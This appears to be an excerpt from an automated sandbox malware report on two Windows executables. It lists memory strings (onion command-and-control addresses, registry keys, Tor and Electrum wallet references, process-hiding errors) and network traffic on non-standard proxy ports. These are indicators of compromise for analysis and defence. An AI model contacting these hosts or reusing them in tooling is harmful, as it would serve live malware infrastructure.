Source: VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3501355077.000000000C1D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: 311c263d07362111531206573b1100053331http://o3fonzjs63n3ovdmbb5tfew6s7dpi4sirnapbiog67myalzi5pe5o2yd.onionhttp://o3fonzjs63n3ovdmbb5tfew6s7dpi4sirnapbiog67myalzi5pe5o2yd.onionS-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\TestAppS-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\a839a7d7S-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\a839a7d7https://dumppage.orghttp://papmcl4r32awafck75y5446n252qqqq4h6c4y2slaayposrtfbcebdqd.onionS-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\a839a7d7S-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\a839a7d7S-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\a839a7d7FirstInstallDateS-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\a839a7d7S-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\a839a7d7S-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\a839a7d7S-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\a839a7d7S-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\a839a7d7S-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\a839a7d7S-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\a839a7d7S-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\a839a7d7S-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\a839a7d7S-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\a839a7d7S-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\a839a7d7S-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\a839a7d7S-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\a839a7d7S-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\a839a7d7SELECT Name FROM Win32_ProcessorIntel(R) Core(TM)2 CPU 6600 @ 2.40 GHzIntel(R) Core(TM)2 CPU 6600 @ 2.40 GHzS-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\a839a7d7S-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\a839a7d7SELECT Name FROM Win32_VideoControllerC:\Program Files (x86)\Common Files\Oracle\Java\javapath\powershell.comC:\Program Files (x86)\Common Files\Oracle\Java\javapath\powershell.exeC:\Program Files (x86)\Common Files\Oracle\Java\javapath\powershell.batC:\Program Files (x86)\Common Files\Oracle\Java\javapath\powershell.cmdC:\Program Files (x86)\Common Files\Oracle\Java\javapath\powershell.vbsC:\Program Files (x86)\Common Files\Oracle\Java\javapath\powershell.vbeC:\Program Files (x86)\Common Files\Oracle\Java\javapath\powershell.jsC:\Program Files (x86)\Common Files\Oracle\Java\javapath\powershell.jseC:\Program Files (x86)\Common Files\Oracle\Java\javapath\powershell.wsfC:\Program Files (x86)\Common Files\Oracle\Java\javapath\powershell.wshC:\Program Files (x86)\Common Files\Oracle\Java\javapath\powershell.mscPROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntelPROCESSOR_LEVEL=6SESSIONNAME=ConsoleUSERDOMAIN=user-PCwindir=C:\WindowsPROCESSOR_IDENTIFIER=In
Source: VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3183446408.0000000000400000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: Nyiakeng_Puachue_HmongPakistan Standard TimeParaguay Standard TimeRoGetActivationFactoryRtlDeleteFunctionTableRtlGetNtVersionNumbersSafeArrayGetRecordInfoSafeArraySetRecordInfoSakhalin Standard TimeSao Tome Standard TimeSeImpersonatePrivilegeSetupDiEnumDriverInfoWSetupDiGetClassDevsExWTasmania Standard TimeTor bootstrap progressTor service is runningUnsupported Media TypeWSAGetOverlappedResultWSALookupServiceBeginWWaitForMultipleObjectsWget/1.12 (freebsd8.1)Xenu Link Sleuth/1.3.8access-control-max-ageaddress already in useadvapi32.dll not foundargument list too longassembly checks failedbad g->status in readybad sweepgen in refillbitcoin3nqy3db7c.onionbody closed by handlercannot allocate memoryclient not initializedcompileCallabck: type couldn't create devicecouldn't get file infocouldn't start servicecoulnd't write to filecreate main window: %wdecode and decrypt: %wdriver: bad connectionduplicated defer entryelectrum.leblancnet.uselectrum3.hodlister.coelectrum5.hodlister.coelectrumxhqdsmlu.onionencrypt and encode: %werror decoding messageerror parsing regexp: failed to get UUID: %wfailed to hide app: %wfailed to open key: %wfailed to open src: %wfailed to register: %wfailed to set UUID: %wframe_data_pad_too_bigfreeIndex is not validgenerate challenge: %wgetenv before env initgzip: invalid checksumheadTailIndex overflowheader field %q = %q%shide process ID %d: %whpack: string too longhsmiths4fyqlw5xw.onionhsmiths5mjk6uijs.onionhttp2: frame too largehttp://localhost:3433/https://duniadekho.baridna: invalid label %qinappropriate fallbackinteger divide by zerointegrity check failedinterface conversion: internal inconsistencyinvalid Trailer key %qinvalid address familyinvalid number base %djson: unknown field %qkernel32.dll not foundmalformed HTTP versionminpc or maxpc invalidmissing ']' in addressmultiple :: in addressndndword5lpb7eex.onionnetwork is unreachableno connection providednon-Go function at pc=oldoverflow is not niloperation was canceledoverflowing coordinateozahtqwp25chjdjd.onionprotocol not availableprotocol not supportedqtornadoklbgdyww.onionread response body: %wreflect.Value.MapIndexreflect.Value.SetFloatreflectlite.Value.Elemreflectlite.Value.Typeremote address changedruntime.main not on m0runtime: work.nwait = runtime:scanstack: gp=s.freeindex > s.nelemss7clinmo4cazmhul.onionscanstack - bad statussecure boot is enabledsend on closed channelserver.peers.subscribeservice does not existservice is not runningset Tor mode to %s: %wskipping Question Nameskipping Question Typespan has no free spacesql: no Rows availablestack not a power of 2status/bootstrap-phasetrace reader (blocked)trace: alloc too largetransaction is stoppedtransaction not existsunexpected length codeunexpected method stepwirep: invalid p statewrite on closed bufferx509: malformed issuerzero length BIT STRINGzlib: invalid checksum into Go value of type ) must be a power of 2
Source: VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3501355077.000000000C1DA000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://dumppage.orghttp://papmcl4r32awafck75y5446n252qqqq4h6c4y2slaayposrtfbcebdqd.onionCommonProgramW6432=C:\Program Files\Common FilesFPS_BROWSER_APP_PROFILE_STRING=Internet ExplorerS-1-5-21-2246122658-3693405117-2476756634-1003
Source: VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3501355077.000000000C1DC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://papmcl4r32awafck75y5446n252qqqq4h6c4y2slaayposrtfbcebdqd.onionC:\Program Files (x86)\Common Files\Oracle\Java\javapath\powershell.comC:\Program Files (x86)\Common Files\Oracle\Java\javapath\powershell.exeC:\Program Files (x86)\Common Files\Oracle\Java\javapath\powershell.batC:\Program Files (x86)\Common Files\Oracle\Java\javapath\powershell.cmdC:\Program Files (x86)\Common Files\Oracle\Java\javapath\powershell.vbsC:\Program Files (x86)\Common Files\Oracle\Java\javapath\powershell.vbeC:\Program Files (x86)\Common Files\Oracle\Java\javapath\powershell.jsC:\Program Files (x86)\Common Files\Oracle\Java\javapath\powershell.jseC:\Program Files (x86)\Common Files\Oracle\Java\javapath\powershell.wsfC:\Program Files (x86)\Common Files\Oracle\Java\javapath\powershell.wshC:\Program Files (x86)\Common Files\Oracle\Java\javapath\powershell.mscPROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntel
Source: MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3380991027.000000000C01A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://o3fonzjs63n3ovdmbb5tfew6s7dpi4sirnapbiog67myalzi5pe5o2yd.onion
Source: MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3380991027.000000000C01A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://papmcl4r32awafck75y5446n252qqqq4h6c4y2slaayposrtfbcebdqd.onion
Source: MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3380991027.000000000C01A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: 311c263d07362111531206573b1100053331http://o3fonzjs63n3ovdmbb5tfew6s7dpi4sirnapbiog67myalzi5pe5o2yd.onionhttp://o3fonzjs63n3ovdmbb5tfew6s7dpi4sirnapbiog67myalzi5pe5o2yd.onionS-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\TestAppS-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\a839a7d7S-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\a839a7d7https://dumppage.orghttp://papmcl4r32awafck75y5446n252qqqq4h6c4y2slaayposrtfbcebdqd.onionS-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\a839a7d7S-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\a839a7d7S-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\a839a7d7FirstInstallDateS-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\a839a7d7S-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\a839a7d7S-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\a839a7d7S-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\a839a7d7S-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\a839a7d7S-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\a839a7d7S-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\a839a7d7S-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\a839a7d7Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzSELECT Name FROM Win32_VideoController
Source: MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3144948166.0000000000400000.00000040.00000001.01000000.00000011.sdmp	String found in binary or memory: Nyiakeng_Puachue_HmongPakistan Standard TimeParaguay Standard TimeRoGetActivationFactoryRtlDeleteFunctionTableRtlGetNtVersionNumbersSafeArrayGetRecordInfoSafeArraySetRecordInfoSakhalin Standard TimeSao Tome Standard TimeSeImpersonatePrivilegeSetupDiEnumDriverInfoWSetupDiGetClassDevsExWTasmania Standard TimeTor bootstrap progressTor service is runningUnsupported Media TypeWSAGetOverlappedResultWSALookupServiceBeginWWaitForMultipleObjectsWget/1.12 (freebsd8.1)Xenu Link Sleuth/1.3.8access-control-max-ageaddress already in useadvapi32.dll not foundargument list too longassembly checks failedbad g->status in readybad sweepgen in refillbitcoin3nqy3db7c.onionbody closed by handlercannot allocate memoryclient not initializedcompileCallabck: type couldn't create devicecouldn't get file infocouldn't start servicecoulnd't write to filecreate main window: %wdecode and decrypt: %wdriver: bad connectionduplicated defer entryelectrum.leblancnet.uselectrum3.hodlister.coelectrum5.hodlister.coelectrumxhqdsmlu.onionencrypt and encode: %werror decoding messageerror parsing regexp: failed to get UUID: %wfailed to hide app: %wfailed to open key: %wfailed to open src: %wfailed to register: %wfailed to set UUID: %wframe_data_pad_too_bigfreeIndex is not validgenerate challenge: %wgetenv before env initgzip: invalid checksumheadTailIndex overflowheader field %q = %q%shide process ID %d: %whpack: string too longhsmiths4fyqlw5xw.onionhsmiths5mjk6uijs.onionhttp2: frame too largehttp://localhost:3433/https://duniadekho.baridna: invalid label %qinappropriate fallbackinteger divide by zerointegrity check failedinterface conversion: internal inconsistencyinvalid Trailer key %qinvalid address familyinvalid number base %djson: unknown field %qkernel32.dll not foundmalformed HTTP versionminpc or maxpc invalidmissing ']' in addressmultiple :: in addressndndword5lpb7eex.onionnetwork is unreachableno connection providednon-Go function at pc=oldoverflow is not niloperation was canceledoverflowing coordinateozahtqwp25chjdjd.onionprotocol not availableprotocol not supportedqtornadoklbgdyww.onionread response body: %wreflect.Value.MapIndexreflect.Value.SetFloatreflectlite.Value.Elemreflectlite.Value.Typeremote address changedruntime.main not on m0runtime: work.nwait = runtime:scanstack: gp=s.freeindex > s.nelemss7clinmo4cazmhul.onionscanstack - bad statussecure boot is enabledsend on closed channelserver.peers.subscribeservice does not existservice is not runningset Tor mode to %s: %wskipping Question Nameskipping Question Typespan has no free spacesql: no Rows availablestack not a power of 2status/bootstrap-phasetrace reader (blocked)trace: alloc too largetransaction is stoppedtransaction not existsunexpected length codeunexpected method stepwirep: invalid p statewrite on closed bufferx509: malformed issuerzero length BIT STRINGzlib: invalid checksum into Go value of type ) must be a power of 2
Source: MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.0000000002CB0000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: Nyiakeng_Puachue_HmongPakistan Standard TimeParaguay Standard TimeRoGetActivationFactoryRtlDeleteFunctionTableRtlGetNtVersionNumbersSafeArrayGetRecordInfoSafeArraySetRecordInfoSakhalin Standard TimeSao Tome Standard TimeSeImpersonatePrivilegeSetupDiEnumDriverInfoWSetupDiGetClassDevsExWTasmania Standard TimeTor bootstrap progressTor service is runningUnsupported Media TypeWSAGetOverlappedResultWSALookupServiceBeginWWaitForMultipleObjectsWget/1.12 (freebsd8.1)Xenu Link Sleuth/1.3.8access-control-max-ageaddress already in useadvapi32.dll not foundargument list too longassembly checks failedbad g->status in readybad sweepgen in refillbitcoin3nqy3db7c.onionbody closed by handlercannot allocate memoryclient not initializedcompileCallabck: type couldn't create devicecouldn't get file infocouldn't start servicecoulnd't write to filecreate main window: %wdecode and decrypt: %wdriver: bad connectionduplicated defer entryelectrum.leblancnet.uselectrum3.hodlister.coelectrum5.hodlister.coelectrumxhqdsmlu.onionencrypt and encode: %werror decoding messageerror parsing regexp: failed to get UUID: %wfailed to hide app: %wfailed to open key: %wfailed to open src: %wfailed to register: %wfailed to set UUID: %wframe_data_pad_too_bigfreeIndex is not validgenerate challenge: %wgetenv before env initgzip: invalid checksumheadTailIndex overflowheader field %q = %q%shide process ID %d: %whpack: string too longhsmiths4fyqlw5xw.onionhsmiths5mjk6uijs.onionhttp2: frame too largehttp://localhost:3433/https://duniadekho.baridna: invalid label %qinappropriate fallbackinteger divide by zerointegrity check failedinterface conversion: internal inconsistencyinvalid Trailer key %qinvalid address familyinvalid number base %djson: unknown field %qkernel32.dll not foundmalformed HTTP versionminpc or maxpc invalidmissing ']' in addressmultiple :: in addressndndword5lpb7eex.onionnetwork is unreachableno connection providednon-Go function at pc=oldoverflow is not niloperation was canceledoverflowing coordinateozahtqwp25chjdjd.onionprotocol not availableprotocol not supportedqtornadoklbgdyww.onionread response body: %wreflect.Value.MapIndexreflect.Value.SetFloatreflectlite.Value.Elemreflectlite.Value.Typeremote address changedruntime.main not on m0runtime: work.nwait = runtime:scanstack: gp=s.freeindex > s.nelemss7clinmo4cazmhul.onionscanstack - bad statussecure boot is enabledsend on closed channelserver.peers.subscribeservice does not existservice is not runningset Tor mode to %s: %wskipping Question Nameskipping Question Typespan has no free spacesql: no Rows availablestack not a power of 2status/bootstrap-phasetrace reader (blocked)trace: alloc too largetransaction is stoppedtransaction not existsunexpected length codeunexpected method stepwirep: invalid p statewrite on closed bufferx509: malformed issuerzero length BIT STRINGzlib: invalid checksum into Go value of type ) must be a power of 2
Source: MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3380991027.000000000C07C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://papmcl4r32awafck75y5446n252qqqq4h6c4y2slaayposrtfbcebdqd.onion
Source: MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3380991027.000000000C07A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://dumppage.orghttp://papmcl4r32awafck75y5446n252qqqq4h6c4y2slaayposrtfbcebdqd.onion

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 10647
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 8118
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 12457
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 26927
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 5088
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 64579
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 10647
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 22538
Source: unknown	Network traffic detected: HTTP traffic on port 8118 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 8123
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 51513
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 9001
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 999
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 7732
Source: unknown	Network traffic detected: HTTP traffic on port 50137 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 41890
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 8989
Source: unknown	Network traffic detected: HTTP traffic on port 9002 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 50142 -> 41274
Source: unknown	Network traffic detected: HTTP traffic on port 50136 -> 9080
Source: unknown	Network traffic detected: HTTP traffic on port 50063 -> 27294
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 12457
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 26431
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50139 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50129 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50157 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 13412
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50099 -> 49202
Source: unknown	Network traffic detected: HTTP traffic on port 8123 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 26927
Source: unknown	Network traffic detected: HTTP traffic on port 50130 -> 55806
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 1981
Source: unknown	Network traffic detected: HTTP traffic on port 50144 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 1080 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 2324
Source: unknown	Network traffic detected: HTTP traffic on port 50238 -> 28040
Source: unknown	Network traffic detected: HTTP traffic on port 50088 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50230 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50216 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50253 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 9001 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 10647
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50294 -> 58630
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 22538
Source: unknown	Network traffic detected: HTTP traffic on port 41890 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 50283 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 8989 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50277 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50312 -> 60651
Source: unknown	Network traffic detected: HTTP traffic on port 50233 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 50255 -> 36366
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 52127
Source: unknown	Network traffic detected: HTTP traffic on port 50266 -> 1081
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 50270 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 26431 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 50334 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50244 -> 24015
Source: unknown	Network traffic detected: HTTP traffic on port 50360 -> 12334
Source: unknown	Network traffic detected: HTTP traffic on port 50251 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50380 -> 5050
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 27360
Source: unknown	Network traffic detected: HTTP traffic on port 50274 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50281 -> 21605
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 5678
Source: unknown	Network traffic detected: HTTP traffic on port 50397 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50403 -> 52929
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50144
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 57752
Source: unknown	Network traffic detected: HTTP traffic on port 50307 -> 3129
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 64109
Source: unknown	Network traffic detected: HTTP traffic on port 50442 -> 5432
Source: unknown	Network traffic detected: HTTP traffic on port 50430 -> 59727
Source: unknown	Network traffic detected: HTTP traffic on port 50359 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 50386 -> 11251
Source: unknown	Network traffic detected: HTTP traffic on port 50443 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 7732
Source: unknown	Network traffic detected: HTTP traffic on port 50388 -> 1082
Source: unknown	Network traffic detected: HTTP traffic on port 2324 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 50394 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 35081
Source: unknown	Network traffic detected: HTTP traffic on port 50142 -> 41274
Source: unknown	Network traffic detected: HTTP traffic on port 1080 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 999
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50345 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50392 -> 9229
Source: unknown	Network traffic detected: HTTP traffic on port 50461 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50413 -> 1081
Source: unknown	Network traffic detected: HTTP traffic on port 50431 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50445 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50404 -> 9001
Source: unknown	Network traffic detected: HTTP traffic on port 50456 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50441 -> 57327
Source: unknown	Network traffic detected: HTTP traffic on port 50435 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50460 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50444 -> 16487
Source: unknown	Network traffic detected: HTTP traffic on port 50506 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50405 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50572 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50537 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 50462 -> 7518
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 54570
Source: unknown	Network traffic detected: HTTP traffic on port 50129 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50248 -> 8899
Source: unknown	Network traffic detected: HTTP traffic on port 50063 -> 27294
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 12457
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 8082
Source: unknown	Network traffic detected: HTTP traffic on port 50452 -> 1983
Source: unknown	Network traffic detected: HTTP traffic on port 50493 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 1081 -> 50266
Source: unknown	Network traffic detected: HTTP traffic on port 5432 -> 50442
Source: unknown	Network traffic detected: HTTP traffic on port 50500 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50494 -> 6009
Source: unknown	Network traffic detected: HTTP traffic on port 50620 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 15294
Source: unknown	Network traffic detected: HTTP traffic on port 50524 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 50651 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50489 -> 8880
Source: unknown	Network traffic detected: HTTP traffic on port 50189 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49960 -> 30464
Source: unknown	Network traffic detected: HTTP traffic on port 50597 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50294 -> 58630
Source: unknown	Network traffic detected: HTTP traffic on port 50566 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 50684 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 26927
Source: unknown	Network traffic detected: HTTP traffic on port 50568 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 50587 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 50676 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50130 -> 55806
Source: unknown	Network traffic detected: HTTP traffic on port 50686 -> 999
Source: unknown	Network traffic detected: HTTP traffic on port 50312 -> 60651
Source: unknown	Network traffic detected: HTTP traffic on port 50727 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 50709 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50656 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50506
Source: unknown	Network traffic detected: HTTP traffic on port 50599 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50650 -> 32708
Source: unknown	Network traffic detected: HTTP traffic on port 50747 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50792 -> 28810
Source: unknown	Network traffic detected: HTTP traffic on port 50635 -> 6012
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50431
Source: unknown	Network traffic detected: HTTP traffic on port 8000 -> 50537
Source: unknown	Network traffic detected: HTTP traffic on port 3129 -> 50307
Source: unknown	Network traffic detected: HTTP traffic on port 50758 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 41368
Source: unknown	Network traffic detected: HTTP traffic on port 50677 -> 5566
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50651
Source: unknown	Network traffic detected: HTTP traffic on port 50698 -> 25256
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50435
Source: unknown	Network traffic detected: HTTP traffic on port 9001 -> 50404
Source: unknown	Network traffic detected: HTTP traffic on port 1082 -> 50388
Source: unknown	Network traffic detected: HTTP traffic on port 50699 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50668 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50715 -> 20060
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 22538
Source: unknown	Network traffic detected: HTTP traffic on port 50843 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50755 -> 10006
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 15280
Source: unknown	Network traffic detected: HTTP traffic on port 50775 -> 27360
Source: unknown	Network traffic detected: HTTP traffic on port 50819 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 1080 -> 50345
Source: unknown	Network traffic detected: HTTP traffic on port 50733 -> 53778
Source: unknown	Network traffic detected: HTTP traffic on port 50712 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 50320 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50767 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 50760 -> 52276
Source: unknown	Network traffic detected: HTTP traffic on port 50756 -> 3128
